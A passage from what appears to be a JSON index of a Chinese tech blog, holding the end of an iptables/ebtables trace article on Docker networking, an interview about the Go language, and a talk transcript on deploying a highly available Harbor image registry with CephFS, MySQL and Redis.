ID=94 SEQ=1 TRACE: filter:FORWARD:rule:1 IN=eth0 OUT=docker0 MAC=00:16:3e:06:3a:3a:00:2a:6a:aa:12:7c:08:00 SRC=10.28.61.30 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=56 ID=58706 PROTO=ICMP TYPE=0 CODE=0 ID=94 SEQ=1 TRACE: filter:DOCKER-USER:return:1 IN=eth0 OUT=docker0 MAC=00:16:3e:06:3a:3a:00:2a:6a:aa:12:7c:08:00 SRC=10.28.61.30 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=56 ID=58706 PROTO=ICMP TYPE=0 CODE=0 ID=94 SEQ=1 TRACE: filter:FORWARD:rule:2 IN=eth0 OUT=docker0 MAC=00:16:3e:06:3a:3a:00:2a:6a:aa:12:7c:08:00 SRC=10.28.61.30 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=56 ID=58706 PROTO=ICMP TYPE=0 CODE=0 ID=94 SEQ=1 TRACE: filter:DOCKER-ISOLATION:return:1 IN=eth0 OUT=docker0 MAC=00:16:3e:06:3a:3a:00:2a:6a:aa:12:7c:08:00 SRC=10.28.61.30 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=56 ID=58706 PROTO=ICMP TYPE=0 CODE=0 ID=94 SEQ=1 TRACE: filter:FORWARD:rule:3 IN=eth0 OUT=docker0 MAC=00:16:3e:06:3a:3a:00:2a:6a:aa:12:7c:08:00 SRC=10.28.61.30 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=56 ID=58706 PROTO=ICMP TYPE=0 CODE=0 ID=94 SEQ=1 TRACE: mangle:POSTROUTING:policy:1 IN= OUT=docker0 SRC=10.28.61.30 DST=192.168.0.2 LEN=84 TOS=0x00 PREC=0x00 TTL=56 ID=58706 PROTO=ICMP TYPE=0 CODE=0 ID=94 SEQ=1 TRACE: eb:nat:OUTPUT IN= OUT=veth0594f4b MAC source = 02:42:ff:27:17:4d MAC dest = 02:42:c0:a8:00:02 proto = 0x0800 IP SRC=10.28.61.30 IP DST=192.168.0.2, IP tos=0x00, IP proto=1 TRACE: eb:filter:OUTPUT IN= OUT=veth0594f4b MAC source = 02:42:ff:27:17:4d MAC dest = 02:42:c0:a8:00:02 proto = 0x0800 IP SRC=10.28.61.30 IP DST=192.168.0.2, IP tos=0x00, IP proto=1 TRACE: eb:nat:POSTROUTING IN= OUT=veth0594f4b MAC source = 02:42:ff:27:17:4d MAC dest = 02:42:c0:a8:00:02 proto = 0x0800 IP SRC=10.28.61.30 IP DST=192.168.0.2, IP tos=0x00, IP proto=1 后续的请求和应答基本类似，少的还是nat PREROUTING和nat POSTROUTING，因为不再是NEW connection。\n六、小结 个人赶脚：iptables的规则还是太复杂了，再加上bridge的ebtable规则，让人有些眼花缭乱。尤其是kube-proxy的规则又与docker的规则鞣合在一起，iptables的rules列表就显得更为冗长和复杂了。但目前kube-proxy稳定版依然以iptables为主要实现机制，不过kube-proxy对ipvs的支持也已经在路上了(kubernetes 1.8中ipvs处于alpha阶段)，希望后续我们能有更多的选择。\n此次实验全部日志内容参见：docker-bridge-network-demo-iptables-trace-log.txt文件。\n七、参考资料 《iptables debugging》 《ebtables/iptables interaction on a Linux-based bridge》 《Traversing of tables and chains》 《Linux Bridge – how it works》 “docker-explain network“ 《Linux下的虚拟Bridge实现》 微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/11/06/explain-docker-single-host-network-using-iptables-trace-and-ebtables-log/","summary":"\u003cp\u003e这大半年一直在搞\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e。每次\u003ca href=\"http://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm/\"\u003e搭建Kubernetes集群\u003c/a\u003e，或多或少都会被Kubernetes的“\u003ca href=\"https://kubernetes.io/docs/concepts/cluster-administration/network-plugins/\"\u003e网络插件们\u003c/a\u003e”折腾折腾。因此，要说目前Kubernetes中最难搞的是什么？个人觉得莫过于其\u003ca href=\"http://tonybai.com/2017/01/17/understanding-flannel-network-for-kubernetes/\"\u003ePod网络\u003c/a\u003e了，至少也是最难搞的之一。除此之外，以\u003ca href=\"http://tonybai.com/2017/02/09/rolling-update-for-services-in-kubernetes-cluster/\"\u003eService\u003c/a\u003e和Pod为中心的Kubernetes架构还大量利用\u003ca href=\"http://www.iptables.info/en/print/structure-of-iptables.html\"\u003eiptables规则\u003c/a\u003e来实现Service的反向代理和负载均衡，这又与\u003ca href=\"http://tonybai.com/2016/01/15/understanding-container-networking-on-single-host/\"\u003eDocker原生容器单机网络\u003c/a\u003e实现所基于的\u003ca href=\"https://wiki.linuxfoundation.org/networking/bridge\"\u003elinux bridge\u003c/a\u003e和\u003ca href=\"http://tonybai.com/tag/iptables\"\u003eiptables规则\u003c/a\u003e糅合在一起，让troubleshooting时的难度又增加了一些。\u003c/p\u003e\n\u003cp\u003e去年曾经花过一段研究\u003ca href=\"http://tonybai.com/2016/01/15/understanding-container-networking-on-single-host/\"\u003eDocker网络\u003c/a\u003e，但现在看来当时在某些关键环节的理解上还有些模糊，于是花了周末的闲暇时间对Docker容器单机网络做了一次再理解。这次重新认识利用上了iptables的Trace功能以及数据链路层的ebtables，让我可以更清晰地看到单机容器网络的网络数据流流向。同时，有了容器网络理解这个基础，对后续解决K8s Pod网络问题也是大有裨益的。\u003c/p\u003e\n\u003cp\u003e本文从某个角度来说也可以理解为自我答疑，我不会从最最基础的\u003ca href=\"http://tonybai.com/tag/docker\"\u003eDocker\u003c/a\u003e网络结构说起，对Docker容器单机网络结构不了解的童鞋，可以先看看我之前写的《\u003ca href=\"http://tonybai.com/2016/01/15/understanding-container-networking-on-single-host/\"\u003e理解Docker单机容器网络\u003c/a\u003e》和《\u003ca href=\"http://tonybai.com/2017/01/11/understanding-linux-network-namespace-for-docker-network/\"\u003e理解Docker容器网络之Linux Network Namespace\u003c/a\u003e》两篇文章。\u003c/p\u003e","title":"再谈Docker容器单机网络：利用iptables trace和ebtables log"},{"content":"在参加源创会沈阳站分享之前，接受了开源中国社区编辑王练的文字专访，以下是我针对专访稿的内容。\n同时该专访稿首发于开源中国开源访谈栏目，大家可以点击这里看到首发原稿。\n1、首先请介绍一下自己 大家好！我叫白明（Tony Bai），目前是东软云科技的一名架构师，专职于服务端开发，日常工作主要使用Go语言。我算是国内较早接触Go语言的程序员兼Advocater了，平时在我的博客、微博和微信公众号”iamtonybai”上经常发表一些关于Go语言的文章和Go生态圈内的信息。\n在接触Go之前，我主要使用C语言开发电信领域的一些后端服务系统，拥有多年的电信领域产品研发和技术管理经验。我个人比较喜换钻研和分享技术，是《七周七语言》一书的译者之一，并且坚持写技术博客十余年。同时我也算是一个开源爱好者，也在github上分享过自己开发的几个小工具。\n目前的主要研究和关注的领域包括：Go、Kubernetes、Docker、区块链和儿童编程教育等。\n2、最初是因为什么接触和使用 Go 语言的？它哪方面的特性吸引了您？ 个人赶脚：选编程语言和谈恋爱有些像（虽然我只谈过一次^_^），我个人倾向一见钟情。我个人用的最多的编程语言是Go、C，这两门语言算是我在不同时期的“一见钟情”的对象吧，也是最终“领（使）证（用）”的，前提：编程世界是“一夫多妻制”^0^。\n当然早期也深入过C++，后来Java、Ruby、Common Lisp、Haskell、Python均有涉猎，这些语言算是恋爱对象，但最终都分手了。\n最初接触到Go应该是2011年，那是因为看了Rob Pike的3 Day Go Course，那时Go 1.0版本还没有发布，如果没记错，Rob Pike slide中用的还是Go r60版本的语法。现在大脑中留存的当时的第一感觉就是“一见钟情”！\n现在回想起来，大致有这么几点原因：\nGo与C一脉相承，对于出身C程序员的我来说，这一语言传承非常自然，多体现在语法上； Go语言非常简单，尤其是GC、并发goroutine、interface，让我眼前一亮； Rob Pike的Go Course Slide组织的非常好，看完三篇Slide，基本就入门了。 于是在那之后，又系统阅读了Ivo Balbaert的《The Way To Go》、《Programming in Go – Creating Applications for the 21st Century》等基本新鲜出炉的书，于是就走入了Go语言世界。\n不过当时Go1尚未发布，Go自身也有较大变化，工作中也无法引入这门语言，2013年对Go的关注有些中断，2014年又恢复，直至今天。现在感觉到：如果工作语言与兴趣语言能保持一致是多么幸福的一件事啊。\n3、有人说 Go 是互联网时代的 C 语言，对于这两门语言，您是怎么看的？ 如果没记错，至少在国内，第一个提出这种观点的是现七牛的ceo许式伟了，老许是国内第一的Go 鼓吹者，名副其实；而且许式伟的鼓吹不仅停留在嘴上，更是付诸于实践：据说其七牛云的基础设施基本都是Go开发的。因此，对他的“远见卓识”还是钦佩之至的。\nC语言缔造的软件行业的成就是举世瞩目，也是公认的。其作者Dennis Ritchie被授予图灵奖就是对C语言最大的肯定和褒奖。C语言缔造了单机操作系统和基础软件的时代：Unix、Linux、nginx/apache以及无数以*inx世界为中心的工具，是云时代之前最伟大的系统编程语言和基础设施语言。\n至于 “Go是互联网时代的 C 语言”这一观点，如果在几年前很多人还会疑惑甚至不懈，但现在来看：事实胜于雄辩。我们来看看当前CNCF基金会(Cloud Native Computing Foundation)管理的项目中，有一大半都是Go语言开发的，包括Kubernetes、Prometheus等炙手可热的项目；这还不包括近两年最火的docker项目。事实证明：Go已成为互联网时代、云时代基础设施领域、云服务领域的最具竞争力的编程语言之一。\n不过和C不同的是，Go语言还在发展，还在演进，还有巨大的提升空间，Gopher群体还在变大，去年再次成为Tiboe的年度语言就是例证。\n当然我们还得辩证的看，Go语言虽然在云时代基础设施领域逐渐继承C语言的衣钵，但是由于语言设计理念和设计哲学上的原因，在操作系统以及嵌入式领域，Go还在努力提升。\n4、Go 也经常被拿来和 Java、Rust 等语言比较，您认为它最适合的使用场景有哪些？ 早期对Java有所涉猎，但止步于Java体量过重和框架过多；Rust和Go一样是近几年才兴起的一门很有理想、很有抱负的编程语言，其目标就是安全的系统级编程语言，运行性能极佳，用以替代C/C++的，但就像前面所提到的那样，第一眼看到Rust的语法，就没有那种“一见钟情”的赶脚，希望Rust不要像C++那样，演变的那么复杂。\nGo从其第一封设计email出炉到如今已有十年了，我觉得也不应该由我来告诉大家Go更适合应用在什么领域了，事实摆在那里：“大家都用的地方，总是对的”。这里我只是大致归纳一下：\n云计算基础设施领域\n代表项目：docker、kubernetes、etcd、consul、cloudflare CDN、七牛云存储等。\n基础软件\n代表项目：tidb、influxdb、cockroachdb等。\n微服务\n代表项目：go-kit、micro、monzo bank的typhon、bilibili等。\n互联网基础设施\n代表项目：以太坊、hyperledger等。\nGo在数据科学、人工智能领域也有较大进展，希望在将来能看到Go在这些领域有杀手级项目出现。\n5、Go发展已有10 年，其特性随着版本的迭代不断在更新，您觉得它最好的和最需要改进的特性分别有哪些？ 每种语言都有自己的设计哲学和设计者的考量。我在GopherChina 2017的topic中就提到过Go语言的价值观，其中之一就是Simplicity，即简单。相信简单也是让很多开发者走进Gopher世界的重要原因。从今年GopherCon 2017大会上Russ Cox的“Toward Go 2”的主题演讲中，我们也可以看出：Go team并不会单纯地为了迎合community的意愿去堆砌feature，那go势必走上c++的老路，变得日益复杂，Go受欢迎的基础之一就不存在了。\n但演进就一定会要付出代价的，尤其是Go1的约束在前。从我个人对Go的应用来看，最想看到的是包管理和error处理方面的体验提升。但我觉得这两点都是可以通过渐进改进实现的，甚至不会影响到Go1兼容性，不会像引入generics机制，实现难度也不会太高。\n对于目前的error handling机制，我个人并没有太多的排斥，这可能是因为我出身C程序员的缘故吧。在error handling这块，只是希望能让gopher拥有更好的体验即可，比如说围绕现有的error机制，增加一些设施以帮助gopher更好的获取error cause信息，就像github.com/pkg/errors包那样。\n对于社区呼声很高的generics（泛型），我个人倒是没有什么急切需求。generics虽然可以让大幅提升语言的表现力(expressiveness)，但也给语言自身带来了较大的复杂性。就个人感受而言，C++就是在加入generics后才变得无比庞大和复杂的，同时generics还让很多C++ programmer沉溺于很多magic trick中无法自拔，这对于以“合作分工”为主流的软件开发过程来说，并不是好事情。\n6、Go 官方团队已发布 2.0 计划，更侧重于兼容性和规模化方面。对此，您怎么理解？Go 否已达到最佳性能？ 这个问题和上面的问题有些类似，我的想法差不多。Go team在特性演进方面会十分谨慎，这也是go Team一贯的风格。从Go1到Go2，从现在看来，这个时间跨度不会很短，也许是2-3年也不一定，心急吃不了热豆腐^0^，社区分裂可不是go team想看到的事情，python可是前车之鉴。\n另外，Go性能显然还是有改善空间的，尤其是编译性能、GC吞吐和延迟的tradeoff方面；另外goroutine调度器算法方面可能还有改进空间。当前Goroutine调度算法的实现者Dmitry Vyukov之前就编写了一个scheduler优化的proposal: NUMA-aware scheduler for Go(针对numa体系的优化)，但也许因为重要性、优先级等考量，一直没有实现，也许后续会实现。\n7、Go 在国内似乎比国外还要火，您认为造成这种现象的原因是什么？ 从一些搜索引擎的trend数据来看，Go在中国地区的确十分火热，甚至在热度值上是领先于欧美世界的。个人觉得造成这种现象的原因可能有如下几点：\n语言本身的接受度高 首先，从Go语言本身考虑。事实证明了：Go语言的设计匹配了国内程序员的行业业务需求和对语言特性的需求(口味)：\na) 语言：简单、正交组合和并发；开发效率和运行效率双高；\nb) 自带battery：丰富的标准库和高质量第三方库；\nc) 迎合架构趋势：天生适合微服务….\n引入早且与Go advocator的努力分不开 当前再也不是那个“酒香不怕巷子深”的年代了，再好的编程语言也需要推广和宣称。Go team在社区建设、全世界推广方面也是不遗余力。至于国内更是有像许式伟、Astaxie这样的占据高端IT圈子的advocator在站台宣传。\n互联网飞速发展推动Go在国内落地 中国已经是事实的移动互联网时代的领军者，大量创业公司如雨后春笋般诞生。而Go对于startup企业来说是极其适合的。开发效率高，满足了Startup企业对产品或服务快速发布的需求；运行效率高可以让startup公司节省初期在硬件方面的投入：一台主机顶住100w并发。\n对于那些巨头、大公司而言，Go又是云计算时代基础设施的代表性语言，自然也会投入到Go怀抱，比如：阿里CDN、百度门户入口、滴滴、360等。\n8、对于刚开始学习 Go ，并期待将其应用在项目中的新人们，您有哪些建议？ 学语言，无非实践结合理论。\n理论：书籍和资料 这里转一下我在知乎上一个回答：\n强烈推荐：Rob Pike 3-day Go Course，虽然语法过时了，但看大师的slide，收获还是蛮多的。\nGo基础: Go圣经《The Go Programming Language》和《Go in Action》。\n原理学习: 雨痕的《Go学习笔记》。\nGo Web编程: 直接看astaxie在github上的《Go web编程》。\n还有一本内容有些旧的，但个人觉得值得一看的书就是《The Way To Go》，大而全。Github上有部分章节的中译版。\n另外，建议看一遍官方的Language specification、effective go和go faq，对学go、理解go设计的来龙去脉大有裨益。\n实践：多读多写Code 多读代码：首选标准库，因为Go的惯用法和最佳实践在标准库中都有体现。\n写代码：这个如果有项目直接实践那是非常的幸福；否则可以从改写一个自己熟悉领域的工具开始。比如：以前我刚接触Go的时候，没啥可写的。就改写一套cmpp协议实现。后来做wechat接口，实现了一个简单的wechat基本协议，当然这两个代码也过于陈旧了，代码设计以及其中的go语言用法不值得大家学习了^0^。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/10/24/go-evolution-for-ten-years-an-interview-by-osc/","summary":"\u003cp\u003e在参加\u003ca href=\"http://tonybai.com/2017/10/23/the-speech-script-practice-on-deploying-a-ha-harbor-cluster-for-osc-shenyang-2017/\"\u003e源创会沈阳站\u003c/a\u003e分享之前，接受了\u003ca href=\"https://www.oschina.net/\"\u003e开源中国社区\u003c/a\u003e编辑\u003ca href=\"https://my.oschina.net/mrtudou\"\u003e王练\u003c/a\u003e的文字专访，以下是我针对专访稿的内容。\u003c/p\u003e\n\u003cp\u003e同时该专访稿首发于开源中国开源访谈栏目，大家可以点击\u003ca href=\"https://www.oschina.net/question/2896879_2268389\"\u003e这里\u003c/a\u003e看到首发原稿。\u003c/p\u003e\n\u003ch3 id=\"1首先请介绍一下自己\"\u003e1、首先请介绍一下自己\u003c/h3\u003e\n\u003cp\u003e大家好！我叫白明（Tony Bai），目前是\u003ca href=\"http://www.neusoft.com/cn/\"\u003e东软云科技\u003c/a\u003e的一名架构师，专职于服务端开发，日常工作主要使用\u003ca href=\"https://golang.org/\"\u003eGo语言\u003c/a\u003e。我算是国内较早接触\u003ca href=\"http://tonybai.com/tag/c\"\u003eGo语言\u003c/a\u003e的程序员兼Advocater了，平时在我的\u003ca href=\"http://tonybai.com/\"\u003e博客\u003c/a\u003e、\u003ca href=\"http://weibo.com/bigwhite20xx\"\u003e微博\u003c/a\u003e和微信公众号”iamtonybai”上经常发表一些关于Go语言的文章和Go生态圈内的信息。\u003c/p\u003e\n\u003cp\u003e在接触Go之前，我主要使用\u003ca href=\"http://tonybai.com/tag/c\"\u003eC语言\u003c/a\u003e开发电信领域的一些后端服务系统，拥有多年的电信领域产品研发和技术管理经验。我个人比较喜换钻研和分享技术，是《\u003ca href=\"https://book.douban.com/subject/10555435/\"\u003e七周七语言\u003c/a\u003e》一书的译者之一，并且坚持写技术博客十余年。同时我也算是一个开源爱好者，也在\u003ca href=\"https://github.com/bigwhite\"\u003egithub\u003c/a\u003e上分享过自己开发的几个小工具。\u003c/p\u003e\n\u003cp\u003e目前的主要研究和关注的领域包括：Go、\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e、\u003ca href=\"http://tonybai.com/tag/docker\"\u003eDocker\u003c/a\u003e、\u003ca href=\"https://en.wikipedia.org/wiki/Blockchain\"\u003e区块链\u003c/a\u003e和儿童编程教育等。\u003c/p\u003e","title":"源创会开源访谈：十年成长，Go语言的演化之路"},{"content":"上周六开源中国的源创会在沈阳举办了一次技术活动，很荣幸以本地讲师的身份和大家交流了一个topic: “基于Harbor的高可用企业级私有容器镜像仓库部署实践”。之所以选择这个topic，是因为这是我们团队的项目实践心得。很多企业和组织在深入使用Docker之后，都会有类似的高可用私有容器仓库搭建的需求，于是我就把我们摸索的实践和填坑过程拿出来，用30分钟与大家分享一下。另外这算是一个入门级的分享，并未深入过多原理。以下就是本次分享的内容讲稿整理。如有不妥或不正确的地方，欢迎交流指正。\n大家下午好，欢迎各位来到源创会沈阳站。在这里我也代表沈阳的IT人欢迎源创会来到沈阳，希望能有更多的像源创会这样的组织到沈阳举办技术活动。非常高兴能有这个机会在源创会这个平台上做分享， 今天和大家一起探讨的题目是：“基于Harbor的高可用企业级私有容器镜像仓库部署实践”。题目有些长，简单来说就是如何搭建一个好用的镜像仓库。\n首先做个简单的自我介绍。我叫白明，东软(注：源创会这次活动的会场在东软沈阳园区)是我的主场，在这里工作很多年，目前就职东软云科技；Gopher一枚，近两年主要使用Go语言开发；技术译者，曾参与翻译过《七周七语言》一书；并且参与过智慧城市架构系列丛书的编著工作；GopherChina大会讲师，这里顺便说一下GopherChina大会，它是目前中国地区规模最大、水平最高的Go语言技术大会，一般每年4月份在北京或上海举行。希望有志于Go语言开发的开发者积极参与；Blogger，写博10多年，依旧笔耕不倦；目前主要从事Docker\u0026amp;kubernetes的研究和实践。\n当今，IT技术发展飞快。五年前， IT从业者口中谈论最多的技术是Virtual Machine，即虚拟化技术，人们经常争论的是到底是vmware的技术好,还是原生kvm技术稳定，又或是xen的技术完美。转眼间五年过去了，大家口中经常讨论的技术词汇发生了变化，越来越多的技术人在谈论Docker，谈论容器。\nDocker是什么？ Docker这门技术非常热，但我们要透过现象看其本质：\nDocker技术并不是新技术，而是将已有技术进行了更好的整合和包装。\n内核容器技术以一种完整形态最早出现在Sun公司的Solaris操作系统上，Solaris是当时最先进的服务器操作系统。2005年Solaris发布Solaris Container技术，从此开启了内核容器之门。\nIT技术发展的趋势就是这样：商业有的，开源也要有。三年后，即2008年，以Google公司开发人员为主导的Linux Container，LXC功能在被merge到Linux内核。LXC是一种内核级虚拟化技术，主要基于namespaces和cgroup技术，实现共享一个os kernel前提下的进程资源隔离，为进程提供独立的虚拟执行环境，这样的一个虚拟的执行环境就是一个容器。本质上说，LXC容器与现在的Docker所提供容器是一样的。但是，当时LXC处于早期阶段，开发人员可能更为关注LXC的技术实现，而对开发体验方面有所忽略，导致LXC技术使用门槛较高，普通应用开发者学习、理解和使用它的心智负担较高，因此应用并不广泛。\n这一情况一直持续到2013年，当时美国一家名不见经传的公司dotCloud发布了一款平台工具Docker，对外宣称可以实现：“build,ship and run any app and anywhere”。Docker实质上也是基于namespaces和cgroup技术的，Docker的创新之处在于其基于union fs技术定义了一套应用打包规范，真正将应用及其运行的所有依赖都封装到一个特定格式的文件中，这种文件就被称为image，即镜像文件。同时，Docker还提供了一套抽象层次更高的工具集，这套工具对dev十分友好，具有良好的开发体验(Developer eXperience)，开发者无需关心namespace, cgroups之类底层技术，即可很easy的启动一个承载着其应用的容器：\nDocker run ubuntu echo hello 因此， 从2013发布以来，Docker项目就像坐上了火箭，发展迅猛，目前已经是github上最火爆的开源项目之一。这里还要提一点就是：Docker项目是使用go语言开发的，Docker项目的成功，也或多或少得益于Go优异的开发效率和执行效率。\nDocker技术的出现究竟给我们带来了哪些好处呢，个人觉得至少有以下三点：\n交付标准化：Docker使得应用程序和依赖的运行环境真正绑定结合为一体，得之即用。这让开发人员、测试和运维实现了围绕同一交付物，保持开发交付上下文同步的能力，即“test what you write, ship what you test”； 执行高效化：应用的启动速度从原先虚拟机的分钟级缩短到容器的秒级甚至ms级，使得应用可以支持快速scaling伸缩； 资源集约化：与vm不同的是，Container共享一个内核，这使得一个container的资源消耗仅为进程级别或进程组级别。同时，容器的镜像也因为如此，其size可以实现的很小，最小可能不足1k，平均几十M。与vm动辄几百兆的庞大身段相比，具有较大优势。 有了image文件后，自然而言我们就有了对image进行存取和管理的需求，即我们需要一个镜像仓库，于是Docker推出了Docker registry这个项目。Docker Registry就是Docker image的仓库，用来存储、管理和分发image的；Docker registry由Docker公司实现，项目名为distribution，其实现了Docker Registr 2.0协议，与早前的Registry 1.x协议版本相比，Distribution采用Go语言替换了Python，在安全性和性能方面都有了大幅提升；Docker官方运行着一个世界最大的公共镜像仓库：hub.docker.com，最常用的image都在hub上，比如反向代理nginx、redis、ubuntu等。鉴于国内访问hub网速不佳，多使用国内容器服务厂商提供的加速器。Docker官方还将Registry本身打入到了一个image中，方便开发人员快速以容器形式启动一个Registry：\ndocker run -d -p 5000:5000 --restart=always --name registry registry:2 不过，这样启动的Registry更多仅仅是一个Demo级别或满足个体开发者自身需要的，离满足企业内部开发流程或生产需求还差了许多。\n既然Docker官方运行着免费的镜像仓库，那我们还需要自己搭建吗？实际情况是，对Docker的使用越深入，对私有仓库的需求可能就越迫切。我们先来看一组Docker 2016官方的调查数据，看看Docker都应用在哪些场合。 从Docker 2016官方调查来看，Docker 更多用于dev、ci和DevOps等环节，这三个场合下的应用占据了半壁江山。而相比于公共仓库，私有镜像仓库能更好的满足开发人员在这些场合对镜像仓库的需求。理由至少有四点：\n便于集成到内部CI/Cd\n以我司内部为例，由于公司内部办公需要使用正向代理访问外部网络，要想将Public Registry集成到你的内部CI中，技术上就会有很多坎儿，整个搭建过程可能是非常痛苦的；\n对镜像可以更全面掌控\n一般来说，外部Public Registry提供的管理功能相对单一，往往无法满足企业内部的开发和交付需求；\n内部网络，网络传输性能更好\n内部开发运维流水线很多环节是有一定的时间敏感性的，比如：一次CI如果因为network问题导致image pull总是timeout，会让dev非常闹心，甚至影响整体的开发和交付效率。\n出于安全考虑\n总是有企业不想将自己开发的软件或数据放到公网上，因此在企业内部选择搭建一个private registry更会让这些企业得到满足；另外企业对仓库的身份验证可能还有LDAP支持的需求，这是外部registry无法满足的。\n一旦企业决定搭建自己的private仓库，那么就得做一个private仓库的技术选型。商业版不在我们讨论范围内，我们从开源软件中挑选。不过开源的可选的不多，Docker 官方的Registry更聚焦通用功能，没有针对企业客户需求定制，开源领域我们大致有两个主要候选者：SUSE的Portus和Vmware的Harbor。针对开源项目的技术选型，我个人的挑选原则最简单的就是看社区生态，落实到具体的指标上包括：\n项目关注度（即star数量） 社区对issue的反馈数量和积极性 项目维护者对issue fix的积极程度以及是否有远大的roadmap 对比后，我发现在这三个指标上，目前Harbor都暂时领先portus一段距离，于是我们选择Harbor。\nHarbor是VMware中国团队开源的企业级镜像仓库项目，聚焦镜像仓库的企业级需求，这里从其官网摘录一些特性，大家一起来看一下：\n– 支持基于角色的访问控制RBAC;\n– 支持镜像复制策略(PUSH);\n– 支持无用镜像数据的自动回收和删除; – 支持LDAP/AD认证;\n– Web UI;\n– 提供审计日志功能;\n– 提供RESTful API,便于扩展;\n– 支持中文\u0026amp;部署Easy。\n不过，Harbor默认安装的是单实例仓库，并非是高可用的。对于接纳和使用Docker的企业来说，镜像仓库已经企业内部开发、交付和运维流水线的核心，一旦仓库停掉，流水线将被迫暂停，对开发交付的效率会产生重要影响；对于一些中大型企业组织，单实例的仓库性能也无法满足需求，为此高可用的Harbor势在必行。在设计Harbor HA方案之前，我们简单了解一下Harbor组成架构。\n一个Harbor实例就是一组由docker-compose工具启动的容器服务，主要包括四个主要组件：\nproxy\n实质就是一个反向代理nginx，负责流量路由分担到ui和registry上；\nregistry\n这里的registry就是原生的docker官方的registry镜像仓库，Harbor在内部内置了一个仓库，所有仓库的核心功能均是由registry完成的；\ncore service\n包含了ui、token和webhook服务；\njob service\n主要用于镜像复制供。\n同时，每个Harbor实例还启动了一个MySQL数据库容器，用于保存自身的配置和镜像管理相关的关系数据。\n高可用系统一般考虑三方面：计算高可用、存储高可用和网络高可用。在这里我们不考虑网络高可用。基于Harbor的高可用仓库方案，这里列出两个。\n两个方案的共同点是计算高可用，都是通过lb实现的多主热运行，保证无单点；存储高可用则各有各的方案。一个使用了分布式共享存储，数据可靠性由共享存储provider提供；另外一个则需要harbor自身逻辑参与，通过镜像相互复制的方式保持数据的多副本。\n两种方案各有优缺点，就看哪种更适合你的组织以及你手里的资源是否能满足方案的搭建要求。\n方案1是Harbor开发团队推荐的标准方案，由于基于分布式共享存储，因此其scaling非常好；同样，由于多Harbor实例共享存储，因此可以保持数据是实时一致的。方案1的不足也是很明显的，第一：门槛高，需要具备共享存储provider；第二搭建难度要高于第二个基于镜像复制的方案。\n方案2的优点就是首次搭建简单。不足也很多：scaling差，甚至是不能，一旦有三个或三个以上节点，可能就会出现“环形复制”；镜像复制需要时间，因此存在多节点上数据周期性不一致的情况；Harbor的镜像复制规则以Project为单位配置，因此一旦新增Project，需要在每个节点上手工维护复制规则，非常繁琐。因此，我们选择方案1。\n我们来看一下方案1的细节： 这是一幅示意图。\n每个安放harbor实例的node都mount cephfs。ceph是目前最流行的分布式共享存储方案之一； 每个node上的harbor实例（包含组件：ui、registry等）都volume mount node上的cephfs mount路径； 通过Load Balance将request流量负载到各个harbor实例上； 使用外部MySQL cluster替代每个Harbor实例内部自维护的那个MySQL容器；对于MySQL cluster，可以使用mysql galera cluster或MySQL5.7以上版本自带的Group Replication (MGR) 集群。 通过外部Redis实现访问Harbor ui的session共享，这个功能是Harbor UI底层MVC框架-beego提供的。 接下来，我们就来看具体的部署步骤和细节。\n环境和先决条件：\n三台VM(Ubuntu 16.04及以上版本)； CephFS、MySQL、Redis已就绪； Harbor v1.1.0及以上版本； 一个域名：hub.tonybai.com:8070。我们通过该域名和服务端口访问Harbor，我们可以通过dns解析多ip轮询实现最简单的Load balance，虽然不完美。 第一步：挂载cephfs 每个安装Harbor instance的节点都要mount cephfs的相关路径，步骤包括：\n#安装cephfs内核驱动 apt install ceph-fs-common # 修改/etc/fstab，添加挂载指令，保证节点重启依旧可以自动挂载cephfs xx.xx.xx.xx:6789:/apps/harbor /mnt/cephfs/harbor ceph name=harbor,secretfile=/etc/ceph/a dmin.secret,noatime,_netdev 0 2 这里涉及一个密钥文件admin.secret，这个secret文件可以在ceph集群机器上使用ceph auth tool生成。\n前面提到过每个Harbor实例都是一组容器服务，这组容器启动所需的配置文件是在Harbor正式启动前由prepare脚本生成的，Prepare脚本生成过程的输入包括：harbor.cfg、docker-compose.yml和common/templates下的配置模板文件。这也是部署高可用Harbor的核心步骤，我们逐一来看。\n第二步：修改harbor.cfg 我们使用域名访问Harbor，因此我们需要修改hostname配置项。注意如果要用域名访问，这里一定填写域名，否则如果这里使用的是Harbor node的IP，那么在后续会存在client端和server端仓库地址不一致的情况；\ncustom_crt=false 关闭 crt生成功能。注意：三个node关闭其中两个，留一个生成一套数字证书和私钥。\n第三步：修改docker-compose.yml docker-compose.yml是docker-compose工具标准配置文件，用于配置docker-compose即将启动的容器服务。针对该配置文件，我们主要做三点修改：\n修改volumes路径\n由/data/xxx 改为：/mnt/cephfs/harbor/data/xxx 由于使用外部Mysql，因此需要删除mysql service以及其他 service对mysql service的依赖 (depends_on) 修改对proxy外服务端口 ports: 8070:80 第四步：配置访问external mysql和redis external mysql的配置在common/templates/adminserver/env中，我们用external Mysql的访问方式覆盖下面四项配置：\nMYSQL_HOST=harbor_host MYSQL_PORT=3306 MYSQL_USR=harbor MYSQL_PWD=harbor_password 还有一个关键配置，那就是将RESET由false改为true。只有改为true，adminserver启动时，才能读取更新后的配置：\nRESET=true Redis连接的配置在common/templates/ui/env中，我们需要新增一行：\n_REDIS_URL=redis_ip:6379,100,password,0 第五步：prepare并启动harbor 执行prepare脚本生成harbor各容器服务的配置；在每个Harbor node上通过下面命令启动harbor实例：\ndocker-compose up -d 启动后，可以通过docker-compose ps命令查看harbor实例中各容器的启动状态。如果启动顺利，都是”Up”状态，那么我们可以在浏览器里输入：http://hub.tonybai.com:8070，不出意外的话，我们就可以看到Harbor ui的登录页面了。\n至此，我们的高可用Harbor cluster搭建过程就告一段落了。\nTroubleshooting 不过，对Harbor的认知还未结束，我们在后续使用Harbor的过程中遇到了一些问题，这里举两个例子。\n问题1： docker login hub.tonybai.com:8070 failed 现象日志：\nError response from daemon: Get https://hub.tonybai.com:8070/v1/users/: http: server gave HTTP response to HTTPS client 